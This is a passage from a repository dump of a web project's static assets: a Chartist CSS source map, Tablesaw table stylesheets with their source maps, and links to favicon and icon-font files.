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", 4 | "sources": ["../plugins/chartist/dist/scss/chartist.scss","../plugins/chartist/dist/scss/settings/_chartist-settings.scss"], 5 | "names": [], 6 | "file": "chartist.css" 7 | } -------------------------------------------------------------------------------- /static/css/tables.stack-mixin.css: -------------------------------------------------------------------------------- 1 | /* Tablesaw Sass Mixins */ 2 | 3 | /*# sourceMappingURL=tables.stack-mixin.css.map */ 4 | -------------------------------------------------------------------------------- /static/css/tables.stack-mixin.css.map: -------------------------------------------------------------------------------- 1 | { 2 | "version": 3, 3 | "mappings": "AAAA,0BAA0B", 4 | "sources": ["../plugins/tablesaw/src/tables.stack-mixin.scss"], 5 | "names": [], 6 | "file": "tables.stack-mixin.css" 7 | } -------------------------------------------------------------------------------- /static/css/tablesaw.stackonly.css: -------------------------------------------------------------------------------- 1 | /*! Tablesaw - v2.0.2 - 2015-10-28 2 | * https://github.com/filamentgroup/tablesaw 3 | * Copyright (c) 2015 Filament Group; Licensed */ 4 | /*! Tablesaw - v2.0.2 - 2015-10-28 5 | * https://github.com/filamentgroup/tablesaw 6 | * Copyright (c) 2015 Filament Group; Licensed */ 7 | table.tablesaw { 8 | empty-cells: show; 9 | max-width: 100%; 10 | width: 100%; } 11 | 12 | .tablesaw { 13 | border-collapse: collapse; 14 | width: 100%; } 15 | 16 | /* Structure */ 17 | .tablesaw { 18 | border: 0; 19 | padding: 0; } 20 | 21 | .tablesaw th, 22 | .tablesaw td { 23 | box-sizing: border-box; 24 | padding: .5em .7em; } 25 | 26 | .tablesaw thead tr:first-child th { 27 | padding-top: .9em; 28 | padding-bottom: .7em; } 29 | 30 | /* Table rows have a gray bottom stroke by default */ 31 | .tablesaw-stack tbody tr { 32 | border-bottom: 1px solid #dfdfdf; } 33 | 34 | .tablesaw-stack td .tablesaw-cell-label, 35 | .tablesaw-stack th .tablesaw-cell-label { 36 | display: none; } 37 | 38 | /* Mobile first styles: Begin with the stacked presentation at narrow widths */ 39 | @media only all { 40 | /* Show the table cells as a block level element */ 41 | .tablesaw-stack td, 42 | .tablesaw-stack th { 43 | text-align: left; 44 | display: block; } 45 | 46 | .tablesaw-stack tr { 47 | clear: both; 48 | display: table-row; } 49 | 50 | /* Make the label elements a percentage width */ 51 | .tablesaw-stack td .tablesaw-cell-label, 52 | .tablesaw-stack th .tablesaw-cell-label { 53 | display: block; 54 | padding: 0 .6em 0 0; 55 | width: 30%; 56 | display: inline-block; } 57 | 58 | /* For grouped headers, have a different style to visually separate the levels by classing the first label in each col group */ 59 | .tablesaw-stack th .tablesaw-cell-label-top, 60 | .tablesaw-stack td .tablesaw-cell-label-top { 61 | display: block; 62 | padding: .4em 0; 63 | margin: .4em 0; } 64 | 65 | .tablesaw-cell-label { 66 | display: block; } 67 | 68 | /* Avoid double strokes when stacked */ 69 | .tablesaw-stack tbody th.group { 70 | margin-top: -1px; } 71 | 72 | /* Avoid double strokes when stacked */ 73 | .tablesaw-stack th.group b.tablesaw-cell-label { 74 | display: none !important; } } 75 | 76 | /*# sourceMappingURL=tablesaw.stackonly.css.map */ 77 | -------------------------------------------------------------------------------- /static/css/tablesaw.stackonly.css.map: -------------------------------------------------------------------------------- 1 | { 2 | "version": 3, 3 | "mappings": "AAAA;;iDAEiD;AACjD;;iDAEiD;AAEjD,cAAe;EACb,WAAW,EAAE,IAAI;EACjB,SAAS,EAAE,IAAI;EACf,KAAK,EAAE,IAAI;;AAGb,SAAU;EACR,eAAe,EAAE,QAAQ;EACzB,KAAK,EAAE,IAAI;;AAGb,eAAe;AAEf,SAAU;EACR,MAAM,EAAE,CAAC;EACT,OAAO,EAAE,CAAC;;AAGZ;YACa;EACX,UAAU,EAAE,UAAU;EACtB,OAAO,EAAE,SAAS;;AAGpB,iCAAkC;EAChC,WAAW,EAAE,IAAI;EACjB,cAAc,EAAE,IAAI;;AAGtB,qDAAqD;AAErD,wBAAyB;EACvB,aAAa,EAAE,iBAAiB;;AAGlC;uCACwC;EACtC,OAAO,EAAE,IAAI;;AAGf,+EAA+E;AAE/E,eAAgB;EACd,mDAAmD;EAEnD;oBACmB;IACjB,UAAU,EAAE,IAAI;IAChB,OAAO,EAAE,KAAK;;EAGhB,kBAAmB;IACjB,KAAK,EAAE,IAAI;IACX,OAAO,EAAE,SAAS;;EAGpB,gDAAgD;EAEhD;yCACwC;IACtC,OAAO,EAAE,KAAK;IACd,OAAO,EAAE,UAAU;IACnB,KAAK,EAAE,GAAG;IACV,OAAO,EAAE,YAAY;;EAGvB,+HAA+H;EAE/H;6CAC4C;IAC1C,OAAO,EAAE,KAAK;IACd,OAAO,EAAE,MAAM;IACf,MAAM,EAAE,MAAM;;EAGhB,oBAAqB;IACnB,OAAO,EAAE,KAAK;;EAGhB,uCAAuC;EAEvC,8BAA+B;IAC7B,UAAU,EAAE,IAAI;;EAGlB,uCAAuC;EAEvC,8CAA+C;IAC7C,OAAO,EAAE,eAAe", 4 | "sources": ["../plugins/tablesaw/dist/stackonly/tablesaw.stackonly.scss"], 5 | "names": [], 6 | "file": "tablesaw.stackonly.css" 7 | } -------------------------------------------------------------------------------- /static/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/favicon.ico -------------------------------------------------------------------------------- /static/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /static/fonts/Material-Design-Iconic-Font.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Material-Design-Iconic-Font.eot -------------------------------------------------------------------------------- /static/fonts/Material-Design-Iconic-Font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Material-Design-Iconic-Font.ttf -------------------------------------------------------------------------------- /static/fonts/Material-Design-Iconic-Font.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Material-Design-Iconic-Font.woff -------------------------------------------------------------------------------- /static/fonts/Material-Design-Iconic-Font.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Material-Design-Iconic-Font.woff2 -------------------------------------------------------------------------------- /static/fonts/Pe-icon-7-stroke.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Pe-icon-7-stroke.eot -------------------------------------------------------------------------------- /static/fonts/Pe-icon-7-stroke.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Pe-icon-7-stroke.ttf -------------------------------------------------------------------------------- /static/fonts/Pe-icon-7-stroke.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Pe-icon-7-stroke.woff -------------------------------------------------------------------------------- /static/fonts/Simple-Line-Icons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Simple-Line-Icons.eot -------------------------------------------------------------------------------- /static/fonts/Simple-Line-Icons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Simple-Line-Icons.ttf -------------------------------------------------------------------------------- /static/fonts/Simple-Line-Icons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Simple-Line-Icons.woff -------------------------------------------------------------------------------- /static/fonts/Simple-Line-Icons.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/Simple-Line-Icons.woff2 -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /static/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /static/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /static/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /static/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /static/fonts/ionicons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/ionicons.eot -------------------------------------------------------------------------------- /static/fonts/ionicons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gowabby/HFish/4e598d5ce1a539abf4601c08e6487f2c7f1381b2/static/fonts/ionicons.ttf -------------------------------------------------------------------------------- /static/fonts/ionicons.woff: 